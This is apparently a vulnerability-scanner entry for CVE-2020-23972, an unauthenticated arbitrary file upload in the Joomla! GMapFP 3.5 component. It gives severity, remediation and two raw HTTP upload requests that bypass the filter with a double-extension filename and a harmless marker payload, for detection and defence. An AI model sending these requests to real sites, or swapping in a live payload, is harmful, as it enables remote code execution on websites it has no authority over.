| Title | Joomla! Component GMapFP 3.5 - Arbitrary File Upload |
|---|---|
| Author | dwisiswant0 |
| Severity | High |
| Impact | Successful exploitation of this vulnerability can result in unauthorized remote code execution on the affected Joomla! website. |
| Remediation | Apply the latest security patch or update to a patched version of Joomla! Component GMapFP 3.5 to mitigate this vulnerability. |
| CVSS Score | 7.5 |
| EPSS Score | 0.77029 |
| CVE ID | CVE-2020-23972 |
| CWE ID | CWE-434 |
| Tags | cve2020 cve joomla edb packetstorm fileupload intrusive gmapfp joomla\! vkev vuln |
Joomla! Component GMapFP 3.5 is vulnerable to arbitrary file upload vulnerabilities. An attacker can access the upload function of the application without authentication and can upload files because of unrestricted file upload which can be bypassed by changing Content-Type & name file too double ext.
POST /index.php?option=com_gmapfp&controller=editlieux&tmpl=component&task=upload_image HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Content-Length: 411
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySHHbUsfCoxlX1bpS
Referer: http://www.victim.com
Accept-Encoding: gzip
------WebKitFormBoundarySHHbUsfCoxlX1bpS
Content-Disposition: form-data; name="option"
com_gmapfp
------WebKitFormBoundarySHHbUsfCoxlX1bpS
Content-Disposition: form-data; name="image1"; filename="ipafj.html.gif"
Content-Type: text/html
projectdiscovery
------WebKitFormBoundarySHHbUsfCoxlX1bpS
Content-Disposition: form-data; name="no_html"
no_html
------WebKitFormBoundarySHHbUsfCoxlX1bpS--
POST /index.php?option=comgmapfp&controller=editlieux&tmpl=component&task=upload_image HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0
Content-Length: 411
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySHHbUsfCoxlX1bpS
Referer: http://www.victim.com
Accept-Encoding: gzip
------WebKitFormBoundarySHHbUsfCoxlX1bpS
Content-Disposition: form-data; name="option"
com_gmapfp
------WebKitFormBoundarySHHbUsfCoxlX1bpS
Content-Disposition: form-data; name="image1"; filename="ipafj.html.gif"
Content-Type: text/html
projectdiscovery
------WebKitFormBoundarySHHbUsfCoxlX1bpS
Content-Disposition: form-data; name="no_html"
no_html
------WebKitFormBoundarySHHbUsfCoxlX1bpS--
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-23972.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-23972.pcap
N/AN/A